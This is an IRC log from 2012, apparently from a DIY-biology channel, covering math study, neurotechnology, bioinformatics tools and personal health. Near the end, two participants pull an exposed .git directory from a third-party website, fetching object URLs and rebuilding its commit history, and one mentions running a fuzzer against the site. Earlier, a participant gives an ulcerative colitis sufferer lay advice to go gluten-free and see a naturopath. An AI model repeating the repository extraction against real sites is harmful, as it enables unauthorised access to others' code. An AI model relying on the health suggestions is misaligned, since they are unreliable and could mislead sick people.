| --- Log opened Fri Oct 05 00:00:46 2012 | ||
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| nmz787 | hi lichen, I'm moving to portland later this month | 00:07 |
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| BioGuy | lichen you in portland? | 00:07 |
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| BioGuy | bkero: only the most awesome youtube video ever! | 00:08 |
| bkero | tall claim | 00:09 |
| BioGuy | well second to this one of course: http://www.youtube.com/watch?v=3GRSbr0EYYU | 00:10 |
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| BioGuy | lichen I threw together a google group the other night to try and connect people in the Portland Metro area https://groups.google.com/forum/?fromgroups#!forum/pdx-diybioscitechthink | 00:15 |
| bkero | Why does that have 7 million views? | 00:17 |
| lichen | oops sorry | 00:24 |
| lichen | helly BioGuy | 00:24 |
| lichen | and nmz787 | 00:24 |
| lichen | hello | 00:24 |
| lichen | yeah im in portland | 00:24 |
| lichen | got distracted with videos | 00:25 |
| BioGuy | join the group above. We should all try to figure out a time to meet, maybe have a few beers, introduce ourselves, and talk bio :) | 00:26 |
| lichen | hehe | 00:26 |
| lichen | im pretty unqualified at the moment but networking is nice | 00:26 |
| lichen | im going to PSU and working | 00:26 |
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| BioGuy | What are you going to school for at PSU? | 00:27 |
| lichen | biomedical physics | 00:27 |
| lichen | though i just went back to school two weeks ago after a two year break | 00:27 |
| lichen | was first going for CS but have since decided to go fully towards this career path | 00:28 |
| BioGuy | idk I would consider myself relatively unqualified, I only have a 2 year associates degree in bioscience technology. I would just love to get together and brain storm or just talk about interesting biotech topics with people. I think everyone has something to bring to the table even if its just general interest | 00:29 |
| lichen | ah so youre not too far past me then | 00:29 |
| lichen | i have my two year | 00:29 |
| lichen | most i really do right now is maintain the #biohack channel | 00:29 |
| lichen | keeping track of the grinding community | 00:30 |
| BioGuy | Im sure you know a lot more than I do many areas. | 00:30 |
| lichen | we all have our areas of expertise | 00:30 |
| BioGuy | Now your talkin | 00:30 |
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| lichen | these next few year of school are going to be brutal | 00:32 |
| BioGuy | I think a lot of people kind of exist in these narrow towers of knowledge and it would be great to start connecting these "towers" together. We can all help each other out, learn from each other, teach each other, and have fun | 00:32 |
| lichen | due to the way in which ive done school so far, i am going to have to do double or triple lab science almost every quarter | 00:32 |
| lichen | yes, i agree | 00:32 |
| lichen | one of the reasons i picked this major was that it allows me to branck into a large swath of science | 00:33 |
| BioGuy | Oh your not kidding...after going through my program I felt like I was in grad school or something. LOTS of info in a 9 month period. I'll probably be heading back for my bachelors in Winter or Spring | 00:33 |
| lichen | ive been incredibly busy lately | 00:33 |
| lichen | as i work out in gresham | 00:33 |
| lichen | and go to school | 00:33 |
| lichen | and do freelance web dev | 00:34 |
| BioGuy | When I was in school full time I had MAYBE one day a week where I could be social. | 00:34 |
| lichen | ...i hope my client isnt getting pissy i havent gotten back to him yet :p | 00:34 |
| lichen | yeah same | 00:34 |
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| lichen | saturday this week is going to be drinking and playing magic with a few friends, haha | 00:35 |
| BioGuy | I don't know if you prefer studying alone or with another person. But, I'm taking a stats course right now and could use someone to study with | 00:35 |
| lichen | oh god stats | 00:35 |
| lichen | i slept through most of that a few years ago | 00:35 |
| lichen | crammed the night before the exams | 00:35 |
| lichen | did okay i guess | 00:35 |
| lichen | im taking differential equations right now | 00:36 |
| BioGuy | You ever read a book and realize you just read something but weren't paying attention. I think Im doing that with about every other sentence in this stats book | 00:36 |
| lichen | yeah | 00:36 |
| lichen | totally | 00:36 |
| lichen | statistics is the boring part of math | 00:36 |
| lichen | and i like math, i just dont like memorizing formulas | 00:36 |
| lichen | and thats most of what stats is | 00:36 |
| lichen | im really enjoying diff eq though | 00:37 |
| lichen | last sunday i spent eight hours doing diff eq homework and brushing up on the calculus i needed to do it | 00:38 |
| lichen | after two years its easy to forget integration by parts | 00:39 |
| BioGuy | One thing I know I need a lot more of is mathematics education, which I think is in an incredible tool in any science. But, what I really need to understand is kind of a layout of all the different branches of mathematics and what their applications are. | 00:39 |
| lichen | somehow ive ended up taking all the math i need | 00:40 |
| lichen | before working on anything else really | 00:40 |
| lichen | i can give you a rundown if you want | 00:40 |
| lichen | at least from what ive taken | 00:40 |
| lichen | what have you taken so far? | 00:41 |
| lichen | i presume you know trig and algebra | 00:41 |
| lichen | and youve probably taken some calculus? | 00:41 |
| BioGuy | I went up to calculus in highschool but that was about 10 years ago. I've still used math quite a bit in my life but I don't even want to think about what I've forgotten | 00:41 |
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| lichen | ah | 00:42 |
| lichen | well calculus is going to be very useful (necessary really) for any science or engineering | 00:42 |
| lichen | get as far in it as you can | 00:42 |
| lichen | i took discrete math for the cs degree i was first going for | 00:43 |
| BioGuy | the last trig class I took was in highschool, so I'll probably need to retake it again - but I would think the best applications for trig would be related to physics and dealing with vectors | 00:43 |
| lichen | it mostly focuses on modular math, useful for encryption, useless for most sci/eng | 00:43 |
| lichen | you need a solid understanding of trig | 00:43 |
| lichen | but its really not that hard | 00:44 |
| lichen | just know what your trig functions do | 00:44 |
| lichen | sohcahtoa and all that crap | 00:44 |
| BioGuy | I was reading something about discrete math the other day. I know its generally used in computer science though I'm not 100% sure why | 00:44 |
| lichen | encryption really | 00:44 |
| lichen | thats about it | 00:44 |
| lichen | im sure there are other uses but thats the one that stuck with me | 00:45 |
| nmz787 | lichen: what's your degree gonna be in /now/? :P | 00:45 |
| lichen | you can safely skip it if youre not a cs major | 00:45 |
| lichen | biomedical physics | 00:45 |
| nmz787 | i love math like people love watching art, but I can | 00:45 |
| BioGuy | Ok - so we got basic algebra, trig, discrete mathematics, idk I would say calculus is useful for anything that involves change | 00:46 |
| lichen | i like math :) | 00:46 |
| nmz787 | but I can't study it as little as I'd like for it to stick | 00:46 |
| lichen | calculus is necessary if you want to get into any science | 00:46 |
| nmz787 | there's just too much math for me, I could be great at math, but it's just too much. I want to do other shit and be lazy too :D | 00:46 |
| lichen | yeah | 00:46 |
| lichen | its only easy to remember as long as youre in school | 00:47 |
| nmz787 | but yeah I took a few calc classes | 00:47 |
| lichen | and then you go back | 00:47 |
| nmz787 | didnt take discrete | 00:47 |
| lichen | and youre like | 00:47 |
| lichen | fuck | 00:47 |
| lichen | how to i integrate again? | 00:47 |
| nmz787 | but I definitely still know the intuitive sense of the things ive learned | 00:47 |
| lichen | or worse, how do i integrate a multivariable logarithmic function | 00:47 |
| nmz787 | you figure that out and we can definitely chat over a beetr | 00:48 |
| nmz787 | beer | 00:48 |
| lichen | the most useful thing you learn in school is how to learn | 00:48 |
| BioGuy | So what exactly is linear algebra and how can it be applied? | 00:48 |
| lichen | oh yeah, i got sidetracked | 00:48 |
| BioGuy | no worries | 00:48 |
| lichen | linear is useful in graphics programming. or at least thats why i took it | 00:49 |
| BioGuy | lol you might have to pace yourselves on the beer for that one | 00:49 |
| lichen | it can be summarized i guess in that youre doing math with equations | 00:49 |
| lichen | multiple equations i mean | 00:49 |
| lichen | stack them up into a matrix | 00:49 |
| lichen | and do fancy tricks on it | 00:49 |
| lichen | almost none of it stuck with me | 00:50 |
| lichen | haha | 00:50 |
| lichen | im not a big beer person | 00:50 |
| BioGuy | So is it essentially just general algebra but more advanced? Finding unknowns and modeling basic systems? | 00:50 |
| lichen | id go for something fruity and strong which would just end even worse when trying to explain math haha | 00:50 |
| lichen | i guess? i could probably give a better explanation if i spent a few minutes brushing up to remember what i even did in that class | 00:51 |
| lichen | i just remember every problem involving lots of row reduction | 00:52 |
| lichen | and matrix transformations | 00:52 |
| lichen | and i know how its all useful in graphics manipulation in a CS sense | 00:52 |
| lichen | im just not sure how its useful in sci/eng | 00:52 |
| BioGuy | I think one thing thats missing from every math class is the history part - as in why did people find a need to develop these mathematical tools in the first place and how have they historically been used | 00:53 |
| BioGuy | Something that gives it context | 00:54 |
| lichen | i think its mostly curiosity | 00:54 |
| lichen | and then they find practical applications | 00:54 |
| lichen | im already seeing how extremely useful diff eq is] | 00:54 |
| nmz787 | BioGuy: I had to take a history of science class to get math histrory | 00:55 |
| lichen | its like multivariable calculus | 00:55 |
| lichen | your solution is an equation | 00:55 |
| nmz787 | a lot of it was by astronomers (or physicists that were astronomers) | 00:55 |
| lichen | so you have a function that is a field, and your solution is a path through that field | 00:55 |
| BioGuy | I've always figured, like Newton, someone needed to find a way to explain or model some natural phenomenon and they developed the mathematical tools to do so | 00:55 |
| BioGuy | nmz787 Thats another thing that bugs the crap out of me. Hardly any scientist out there understands what science actually is in terms of an applied philosophy and the logical principles associated with it. | 00:56 |
| lichen | im going into science because i want to improve and replace the human body | 00:57 |
| lichen | i also have an insatiable curiosity | 00:57 |
| lichen | but yeah, concrete goals that map out what it is i need to learn | 00:57 |
| BioGuy | lichen...so could your field be a field of evolutionary fitness values for a given environment over time? | 00:58 |
| lichen | if i ever exhaust all of that i guess id move on to fundamental physics | 00:58 |
| lichen | sure, thatd have a lot of variables though | 00:58 |
| lichen | problems like that are really fuzzy | 01:00 |
| lichen | one example given in class was determining pollutant content of resevoirs over time | 01:00 |
| lichen | given knowing the leach rate and exit rate | 01:00 |
| lichen | how much is going in and out of the system | 01:00 |
| lichen | plug your initial condition in and you get a very readable curve | 01:01 |
| BioGuy | I wonder if diff equations would be useful for something like all possible folding pathways for a protein with a solution being the path that is most energy efficient | 01:03 |
| lichen | i think the problem youd run into | 01:04 |
| lichen | is that youd find local minima but not know if its the absolute minimum | 01:04 |
| lichen | its not a problem im really familiar with trying to solve though | 01:04 |
| BioGuy | You think it sounds interesting if you have a moment take a look at this http://cnx.org/content/m11467/latest/ | 01:05 |
| nmz787 | Biofouling layers as thin as 25 to 50 micrometres (0.00098 to 0.0020 in) can degrade heat exchanger performance by as much as 50% | 01:05 |
| nmz787 | http://aem.asm.org/content/51/6/1186.long | 01:06 |
| BioGuy | or here if you only have time for some nifty pictures: http://www.lsbu.ac.uk/water/protein2.html | 01:06 |
| lichen | BioGuy: maybe ill read that when im not quite so tired | 01:06 |
| lichen | yeah that graph looks like something youd get from a diff eq | 01:07 |
| BioGuy | ...and now I know which branch of mathematics I should start working up to :P | 01:09 |
| lichen | its a pretty straight forward path anyways honestly | 01:09 |
| lichen | need to learn calculus | 01:09 |
| lichen | and diff eq | 01:09 |
| lichen | anything else you really need will be dictated by your major | 01:10 |
| lichen | (i mean obviously you need trig and algebra but thats like saying you need english) | 01:10 |
| lichen | speaking of math | 01:13 |
| lichen | i have diff eq tomorrow morning | 01:13 |
| lichen | maybe i should try to get to sleep soon | 01:13 |
| BioGuy | nmz787 I seem to be having some netbook or browser issues or something - what exactly is that article you just posted? | 01:15 |
| BioGuy | lol @ lichen's comments | 01:16 |
| BioGuy | Can either of you guys sum up in two sentences or less exactly what the difference is between molecular biology and biochemistry. ...or maybe to put in another way - is there anything a molecular biologist would know that a biochemist wouldnt? | 01:17 |
| lichen | i dont know. sounds like semantics to me | 01:18 |
| lichen | but im more interested in BCIs than dna manipulationl | 01:18 |
| BioGuy | BCI? | 01:18 |
| lichen | brain-computer interface | 01:19 |
| lichen | im looking more towards the cybernetic and prosthetic side of things | 01:19 |
| BioGuy | My main broad area of interest are brain disorders... but I'm particularly interested in understanding how proteins fold and how we can get to a point where we can design custom proteins for specific functions | 01:20 |
| BioGuy | So what do you think about deep brain stimulation? | 01:21 |
| lichen | it has useful applications | 01:21 |
| lichen | seems a bit brute force tho | 01:21 |
| BioGuy | Ya...I can't help but think of it as almost like overclocking a CPU. It seems like you might get what you want out of it for a time, but you'll probably burn it out faster | 01:22 |
| lichen | id like to see a better understanding of neuroscience developed that allows for more fine-tuned, subtle fixes | 01:22 |
| lichen | more than just jamming an electrode in it | 01:22 |
| lichen | but i really havent done enough reading on DBS | 01:23 |
| BioGuy | I would like to see an implantable device that can actually directly measure neurotransmitter levels in CSF | 01:23 |
| lichen | hah | 01:24 |
| lichen | good luck with that | 01:24 |
| BioGuy | ...or dumping in excess seretonin | 01:24 |
| lichen | eventually, but that is a hard problem | 01:24 |
| lichen | i would like to see it as well | 01:24 |
| lichen | i think far before that will be implants to monitor blood levels for common things | 01:24 |
| lichen | insulin, glucose, iron, o2, pressure, clots, etc | 01:25 |
| BioGuy | I cant stand how we focus on only a few neurotransmitters out of hundreds and what if instead of a brain disorder being a neurotransmitter problem its a receptor problem, or maybe network problem, or vascular problem.... | 01:26 |
| lichen | mhmm | 01:26 |
| lichen | i wish i know what the fuck my brain was doing | 01:26 |
| lichen | ive been having inexplicable... surges? zaps? | 01:26 |
| lichen | not really headaches | 01:27 |
| archels | BioGuy: Don't worry, those things are being looked at also. | 01:27 |
| lichen | but i havent read any literature that explains what exactly i experience | 01:27 |
| archels | twitches? :) | 01:27 |
| lichen | closest i saw was in reports of SSRI withdrawal | 01:28 |
| BioGuy | archels if they are you sure don't hear much about them. There's just far too much focus on monamine neurotransmitters | 01:28 |
| lichen | it feels as though parts of my brain are lighting up | 01:28 |
| lichen | surging and being intensely stimulateg | 01:28 |
| lichen | d | 01:28 |
| BioGuy | lichen you on any medication right now? | 01:28 |
| lichen | yes | 01:28 |
| BioGuy | which ones? | 01:29 |
| lichen | no brain drugs though | 01:29 |
| BioGuy | might not matter | 01:29 |
| lichen | id rather not talk what meds i take | 01:29 |
| archels | BioGuy: The unfortunate thing is, of course, we're pretty clueless about what any neurotransmitter--except maybe glutamate--is doing. | 01:29 |
| lichen | about what( | 01:29 |
| lichen | its a symptom that i have seen almost zero literature on | 01:29 |
| BioGuy | the brain zaps, even if their not psychiatric medications - theres lots of medications for other things which affect the brain... beta and alpha blockers for instance | 01:30 |
| lichen | only similar feelings occur when i do psychedelics but even that is a bit different | 01:30 |
| lichen | i am on some drugs that affect blood pressure and for a while i thought they might have played a part in it | 01:31 |
| lichen | or nicotine, perhaps | 01:31 |
| BioGuy | brain zaps are pretty common it seems with benzodiazepine and ssri/snri withdrawal and sometimes use, though there's not much if any literature I can find on it - just people on the interwebs | 01:31 |
| lichen | but the zaps dont occur in any frequency relating to those dosages | 01:31 |
| lichen | i dont take either | 01:31 |
| lichen | no benzos, no ssris | 01:31 |
| BioGuy | Are you in a position where you could go off any of the medications for a few weeks without any serious health consequences, and cycle between the meds like that to see if any particular one is causing it? | 01:32 |
| lichen | no | 01:33 |
| BioGuy | talked to your doc? | 01:33 |
| lichen | ive tried cutting back on nicotine before (no i dont smoke, nicotine just controls the symptoms of a digestive disorder i have) | 01:34 |
| lichen | and that just ended with me having horrible stabbing stomach pains | 01:34 |
| lichen | no health insurance | 01:34 |
| lichen | next quarter i should be taking enough credits at psu to get on their plan | 01:35 |
| lichen | then i guess ill get a ton of tests done | 01:35 |
| BioGuy | You've never been tested for gluten allergies have you? | 01:35 |
| lichen | last time i went to a doctor was about a year and change ago | 01:36 |
| lichen | and these sympoms began around jan-feb | 01:36 |
| lichen | no | 01:36 |
| lichen | ignore my late night typos and spelling omissions | 01:36 |
| lichen | sorry for turning this into ask doctor internet | 01:37 |
| lichen | im aware i need to see a professional but its also not actively hurting | 01:37 |
| lichen | it just feels *weird* | 01:37 |
| lichen | and can be so intense that it is very distracting | 01:37 |
| BioGuy | I just thought of it because your mention of digestive problems - not the brain zaps though - but its really under diagnosed because a lot of times it masquerades as other disorders. You might want to get some food allergy tests. I was having health problems a while back and after seeing several different doctors and a bunch of shoulder shrugs I decided to see a naturopath, had a few tests ordered, and | 01:38 |
| BioGuy | actually figured out a number of things that were wrong and started to be able to get my health back on track | 01:38 |
| lichen | im just not willing to shell out the cash to see a bunch of specialists who may just say "i dont know, but we can try this" | 01:38 |
| lichen | i know what i have | 01:38 |
| lichen | i have ulcerative colitis | 01:39 |
| lichen | my understanding of it is that my immune system is overactive and attacks my own gut | 01:39 |
| lichen | nicotine helps because it promotes extra mucous down there to buffer the damage | 01:40 |
| BioGuy | Ya I would definitely get checked out for gluten allergies...or just go on gluten free diet for at least a month and see if any of your symptoms abate. If your a celiac you produce an immune response to gluten | 01:41 |
| lichen | it wouldnt be a bad idea for me to test for allergens though | 01:41 |
| lichen | i already cut out almost all dairy | 01:41 |
| lichen | one to test if it was an issue and two cows are gross | 01:41 |
| BioGuy | checking if it was caesin? | 01:42 |
| lichen | lactose, caesin, whatever | 01:42 |
| lichen | im just not all that fond of consuming cow excretions | 01:42 |
| BioGuy | Are either your mother or fathers side from northern european descent? | 01:43 |
| lichen | yes | 01:43 |
| lichen | to my knowledge im like english and swiss | 01:43 |
| lichen | though thats a bit hazy | 01:43 |
| BioGuy | Ya I would definitely look into the possibility of you being a celiac for the gut stuff. Do you know if you have any nutritional abnormalities? | 01:43 |
| lichen | nah | 01:44 |
| lichen | i eat a lot of rice and potatoes | 01:44 |
| lichen | some meat but not much | 01:45 |
| lichen | and most of that is fish and poultry | 01:45 |
| BioGuy | Celiac disease seems to be higher in people of northern european descent (think it has something to do with wheat crops being imported to the region not too long ago evelutionarily speaking) | 01:45 |
| lichen | is it so much a disease or a lack of adaptation? | 01:46 |
| BioGuy | I got a gluten free diet book if your interested...it wouldn't hurt to cut out gluten for a month or so to see if thats the cause of your colitis | 01:46 |
| lichen | i mean can you really call it a disease that cats cant digest plants well? | 01:46 |
| lichen | might be worth looking at | 01:46 |
| lichen | what are the big offenders to look out for? | 01:46 |
| BioGuy | Its a disease in the sense that celiacs produce an immune response to gluten which tears apart their intestines and creates high levels of inflammation | 01:47 |
| lichen | my gut has been mostly fine as of late but nicotine also helped considerably | 01:47 |
| lichen | well that sounds like me | 01:47 |
| lichen | and then i got ulcers from the damage | 01:47 |
| lichen | oh and my mother has IBS | 01:47 |
| lichen | i dont even know what that exactly is | 01:48 |
| lichen | or its cause | 01:48 |
| BioGuy | Basically you would have to cut out anything that has wheat (it gets hidden in a lot of things too - like soy sauce, anything that has the word malt in it, dressings, random shit you wouldnt think there should be wheat in) | 01:48 |
| lichen | thats like everything | 01:49 |
| lichen | not as bad as cutting out soy i guess | 01:49 |
| BioGuy | should stay away from oats, barley, spelt, I actually have a list I can give you. ...but it seems like if your going to be gluten free Portland really isnt a bad place to be I've realized | 01:49 |
| lichen | i live like four blocks from a new seasons | 01:50 |
| lichen | they have an entire gluten free aisle | 01:50 |
| lichen | lol | 01:50 |
| BioGuy | They do have gluten free soy sauce though called tamari, and brags amino acids is a really tasty replacement for soy sauce | 01:50 |
| lichen | yeah im sure i can find things | 01:50 |
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| lichen | how long would i have to test this to know? | 01:51 |
| BioGuy | Exactly! I think I found the perfect time to realize I had gluten allergies | 01:51 |
| BioGuy | I think after a month you would probably feel better. | 01:51 |
| lichen | potatoes and rice are okay yeah? | 01:51 |
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| BioGuy | ya | 01:52 |
| lichen | then ill get by | 01:52 |
| lichen | haha | 01:52 |
| BioGuy | brown rice has become one of my staples | 01:52 |
| lichen | i like wild rice and white rice | 01:52 |
| BioGuy | lentils are good too, plus they have lots of protein and are real easy to make | 01:52 |
| lichen | new seasons also has a few really good exotic ones | 01:52 |
| lichen | bhutani rice is amazing | 01:52 |
| lichen | ive got some lentils around | 01:53 |
| lichen | been meaning to cook them | 01:53 |
| BioGuy | The hardest part was not being able to each sandwhiches, but I recently found some decent gluten free bread - most are horrible though | 01:53 |
| lichen | dinner tonight was rice noodles, veggies, and seitan with peanut sauce | 01:53 |
| lichen | does pita bread work? | 01:53 |
| BioGuy | If you want pasta look for the quinoa pasta at new seasons - dont go for any of the brown rice pastas, theyre a pain in the ass | 01:54 |
| lichen | hehe | 01:54 |
| BioGuy | asian rice noodles or european rice noodles? | 01:54 |
| lichen | thai | 01:55 |
| BioGuy | pita bread would get axed | 01:55 |
| lichen | lame | 01:55 |
| BioGuy | I know! | 01:55 |
| BioGuy | I miss pita pit | 01:55 |
| lichen | time to see what food science has alchemized i guess | 01:55 |
| lichen | okay i need to force myself to sleep | 01:57 |
| lichen | need to leave the house by 9:30am | 01:57 |
| lichen | and its 2am now... | 01:57 |
| lichen | who needs sleep anyways right? | 01:57 |
| lichen | this girl apparently | 01:58 |
| lichen | catch you later | 01:58 |
| BioGuy | ah crap...ok get some sleep. Talk to you later. | 01:59 |
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| kanzure | BioGuy: http://diyhpl.us/~bryan/papers2/longevity/ | 02:47 |
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| kanzure | BioGuy: regarding the implants you wish to see.. http://diyhpl.us/~bryan/papers2/neuro/implants/ | 02:55 |
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| kanzure | another thermocycler: | 03:00 |
| kanzure | http://www.arduino.si/blog/opencube/ | 03:00 |
| kanzure | " It’ll be a cheap DIY reicarnation of a 16-well thermal cycler" | 03:00 |
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| kanzure | oh look there's actual posts.. http://www.arduino.si/blog/ | 03:01 |
| kanzure | "Today I am going to try to connect a ADS1118 ADC board that I received from Farnell to the Arduino. The main part of the Arduino is the Atmel AVR 328P miocrocontroller that will later become the brain of the PCR. The choice for Arduino (or the AVR328 with the bootloader) is obviouosly because of it’s popularity." | 03:01 |
| BioGuy | KANZURE! This is amazing! I need a better way of cataloging all the resources you and others have pointed me towards over the last couple days | 03:05 |
| kanzure | how about the wiki? http://diyhpl.us/wiki | 03:05 |
| kanzure | http://diyhpl.us/wiki/diybio/faq | 03:05 |
| kanzure | http://diyhpl.us/wiki/diybio/faq/#contributing | 03:06 |
| BioGuy | http://diyhpl.us/wiki/diybio/faq | | has quit (Ping timeout: 240 seconds) |00:07:33 freenode -- | [lichen] zelazny.freenode.net (Corvallis, OR, USA) | 03:13 |
| BioGuy | 03:06:45 kanzure | http://diyhpl.us/wiki/diybio/faq/#contributing |Day changed to Fri, 05 Oct 2012 |00:07:33 freenode -- | [lichen] End of /WHOIS list. | 03:13 |
| BioGuy | [03:13] [11] [irc/freenode] 11:##hplusroadmap{56}* [Act: 3(16), 2(139>>|[03:13] [11] [irc/freenode] 5:#bioinformatics{43}* [Act: 3(16), 2(139,3), 6(3)] |[03:13] [11] [irc] 1:server[efnet] [Act: 3(16), 2(139,3), 6(3)] | 03:13 |
| BioGuy | whoops | 03:13 |
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| BioGuy | Is there a link to http://diyhpl.us/~bryan/papers2/neuro/implants/ from the wiki main page? I didn't see it in under the index of pages | 03:17 |
| BioGuy | Kanzure do you control the server that hosts the wiki? | 03:18 |
| BioGuy | If so would it be possible to use python with the wiki? | 03:23 |
| BioGuy | I need to see if I have some time this Sunday to contribute to the wiki | 03:24 |
| BioGuy | Ok I definitely need to set aside some time to comb through this: http://diyhpl.us/~bryan/papers2/neuro/implants/neuro_research_1999_invivo_optical_imaging.pdf | 03:28 |
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| archels | 1999? so old | 04:27 |
| chris_99 | heh was that to me | 04:29 |
| archels | hehe, no | 04:29 |
| archels | < BioGuy> Ok I definitely need to set aside some time to comb through this: http://diyhpl.us/~bryan/papers2/neuro/implants/neuro_research_1999_invivo_optical_imaging.pdf | 04:29 |
| chris_99 | ah heh | 04:30 |
| archels | "If, due to hypoventilation or for other reasons, cortical edema develops, [...] and puncturing the cisterna magna (call 1-800-CISTERNA MAGNA)" | 04:38 |
| archels | what. | 04:38 |
| kanzure | BioGuy: yes i control that server and yes it would be possible to do python things | 05:22 |
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| kanzure | "learn bioinformatics through problem solving, like project euler" http://rosalind.info/problems/as-table/ | 05:27 |
| kanzure | ruphos (from diybio) seems to be ranked at #77 | 05:33 |
| kanzure | BioGuy: the whole point of a wiki is to edit it. if something is missing, add it. | 05:34 |
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| kanzure | jrayhawk: something for you.. http://news.ycombinator.com/item?id=4615602 | 06:42 |
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| kanzure | thory: hello | 06:55 |
| kanzure | oh. paragone. | 06:55 |
| kanzure | jrayhawk: hah, github got back to me saying tough luck :) | 07:23 |
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| brownies | kanzure: are these actually good problems? (on rosalind) | 08:14 |
| kanzure | brownies: they are reasonable things you will encounter in bioinformatics, although you should fucking use a library and please don't reinvent the wheel. | 08:16 |
| brownies | but my wheel is unlike all the other wheels out there! | 08:17 |
| kanzure | although the alignment problem is hilariously small: http://rosalind.info/problems/mult/ | 08:17 |
| kanzure | look how short the "whole genome" is in this one: http://rosalind.info/problems/pcov/ | 08:18 |
| kanzure | it's misleadingly easy to work with small datasets. loading 10 lists of <50 elements is easy. loading a few terabytes is a different story. | 08:18 |
| brownies | presumably the idea is to separate the biology concepts from the data-handling concepts | 08:19 |
| brownies | although... that seems rather contrary to the point of bioinformatics. -_- | 08:19 |
| kanzure | imho there should be a pre-existing function in the biopython project for each of these problems | 08:20 |
| kanzure | i didn't investigate but if they are running your code on their server, i sure hope they let you import the biopython modules.. | 08:20 |
| kanzure | otherwise there's going to be a legion of developers not thinking to use that | 08:20 |
| kanzure | "developers" | 08:21 |
| brownies | is the biopython project sufficiently complete and widely used? to the point where it actually *does* have methods for all these things? | 08:21 |
| brownies | kanzure: "code plumbers" | 08:21 |
| kanzure | https://github.com/biopython/biopython | 08:22 |
| kanzure | check out https://github.com/biopython/biopython/tree/master/Bio | 08:22 |
| kanzure | tbh i'm not entirely happy with the project's code quality | 08:23 |
| kanzure | but it exists and it should be improved and used and things. | 08:23 |
| brownies | how come this Mr. Cock gets all the citation juice? | 08:23 |
| brownies | and all the other contributors get screwed? | 08:23 |
| kanzure | eh that's how academic open source projects tend to work.. the original maintainer publishes some paper about it, and then derivative papers cite 'em. | 08:24 |
| brownies | what a crock. | 08:25 |
| kanzure | holy crap there are unit tests. fantastic. | 08:25 |
| kanzure | https://github.com/biopython/biopython/tree/master/Tests | 08:25 |
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| BioGuy | jrayhawk you around? | 08:26 |
| BioGuy | ummm...Kanzure I was just scrolling back through the channel...do you sleep? | 08:27 |
| kanzure | i sleep with one eye open | 08:29 |
| BioGuy | brownies I havent used biopython personally but it looks like its been used at least more than a couple times in primary literature | 08:30 |
| BioGuy | Anyone have any 2 cents on this book http://shop.oreilly.com/product/9780596154516.do | 08:31 |
| kanzure | well it's oreilly, so if you buy it that means you're supporting the evil empire. | 08:31 |
| brownies | oh, i'm sure it's useful. i just have beef with that citation policy. | 08:31 |
| BioGuy | What is it...the dolphin? whales? that sleep always have one half of their brain awake while the other is asleep | 08:32 |
| brownies | imo the first N contributors should get credit, and it should be possible to get yourself a citation credit by contributing more than the Nth contributor | 08:32 |
| kanzure | dolphins learned it from me | 08:32 |
| BioGuy | ROFL kanzure thats almost a Chuck Norris joke | 08:33 |
| kanzure | BioGuy: anyway, i was serious about you editing the wiki- feel free to add files, pages, links, whatever. you're not steppipng on anyone's toes. | 08:34 |
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| BioGuy | Sounds good...I wasn't kidding this Sunday Im going to try and find a good chucnk of time to really did into the wiki and see what useful contributions I can make. It really is an amazing repository of information that I would have no idea about if it werent for all of you. -and it would be an easy first step into an open source project. | 08:39 |
| BioGuy | did=dig | 08:39 |
| BioGuy | I love PLoS http://www.ploscollections.org/article/browseIssue.action?issue=info%3Adoi%2F10.1371%2Fissue.pcol.v03.i02 | 08:50 |
| BioGuy | They even have a little tutorial on using Python and BioPython | 08:50 |
| BioGuy | err rather getting started with | 08:50 |
| BioGuy | I'm suprised theres no biopython irc channel | 08:59 |
| kanzure | those folks hang out in #bioinformatics | 09:00 |
| BioGuy | brownies: heres a little project pdf regarding the project status of biopython http://bb10.com/python-bio-devel/2012-04/pdfoMTDXZr950.pdf | 09:02 |
| BioGuy | this looks interesting http://www.amazon.com/gp/product/1584889292?ie=UTF8&tag=genedrift-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=1584889292 | 09:09 |
| kanzure | "An ACS lawsuit against Google, claiming that Google Scholar infringed on its SciFinder Scholar, was settled out of court in 2006.[6]" | 09:13 |
| BioGuy | Kanzure I dont suppose you have any access to pdf versions of either Think Complexity or Bioinformatics programming using Python? | 09:25 |
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| jrayhawk | BioGuy: hello | 09:52 |
| brownies | you know, it does have a relatively low amount of stars on github. | 09:58 |
| brownies | there's a #bioinformatics eh? | 09:58 |
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| kanzure | american chemical society is hilarious | 10:27 |
| kanzure | http://www.acswhyi.com/.git/logs/refs/heads/master | 10:27 |
| kanzure | http://www.acswhyi.com/.DS_Store | 10:30 |
| bkero | .DS_Store files? I LOVE .DS_Store files! | 10:31 |
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| kanzure | uploading your .git: you're doing it wrong | 10:43 |
| nmz787 | is vimeo better than youtube? | 10:44 |
| nmz787 | youtube wont let me upload an hour long video (it uploaded the 3.8gb /then/ told me it was too long) | 10:45 |
| kanzure | iirc youtube has something you have to click or apply for to upload larger files | 10:45 |
| kanzure | btw, never upload to youtube through the web api | 10:46 |
| kanzure | there's a google/youtube cli that they released many years ago, it works pretty great for uploading large things. | 10:46 |
| kanzure | jrayhawk: how do i get all their commits? i don't have an index of .git/objects/*/ :\ | 10:47 |
| kanzure | oh oops i misunderstood the format | 10:48 |
| kanzure | the folder is the first two characters of the hash | 10:48 |
| * kanzure turns off his fuzzer | 10:48 | |
| nmz787 | yeah but i uploaded a stupid 20 second clip of the simpsons months ago and it got taken down by DMCA | 10:51 |
| nmz787 | so my account can't upload long movies | 10:51 |
| jrayhawk | http://www.acswhyi.com/.git/refs/heads/master and work your way backwards | 10:53 |
| kanzure | error: Could not read 1d439edbd387121226f46a3fb5e686f173257169 | 10:57 |
| kanzure | fatal: Failed to traverse parents of commit 4c992bdff203a5f4a3edccf990ab2e7e79b45fbc | 10:57 |
| kanzure | hrrm | 10:57 |
| jrayhawk | 4c992bdff203a5f4a3edccf990ab2e7e79b45fbc doesn't look like a commit | 11:01 |
| jrayhawk | 992bdff203a5f4a3edccf990ab2e7e79b45fbc: VAX COFF executable not stripped | 11:01 |
| kanzure | "fatal: unable to read tree c0b9189b0133fcecb86028efcae168f803fb7110" | 11:03 |
| nmz787 | i just made google/youtube 500 error | 11:03 |
| kanzure | "fatal: unable to read source tree (65f591893ddddf2e34a2d2cb57c054db7bb8ec5a)" | 11:04 |
| kanzure | so i got 65f591893ddddf2e34a2d2cb57c054db7bb8ec5a into .git/objects/65 with http://www.acswhyi.com/.git/objects/65/f591893ddddf2e34a2d2cb57c054db7bb8ec5a | 11:04 |
| kanzure | did i do something wrong? | 11:04 |
| jrayhawk | how are you kicking off the traversal, by the by? | 11:04 |
| kanzure | git show 65f591893ddddf2e34a2d2cb57c054db7bb8ec5a | 11:04 |
| kanzure | "git log" no longer shows errors | 11:05 |
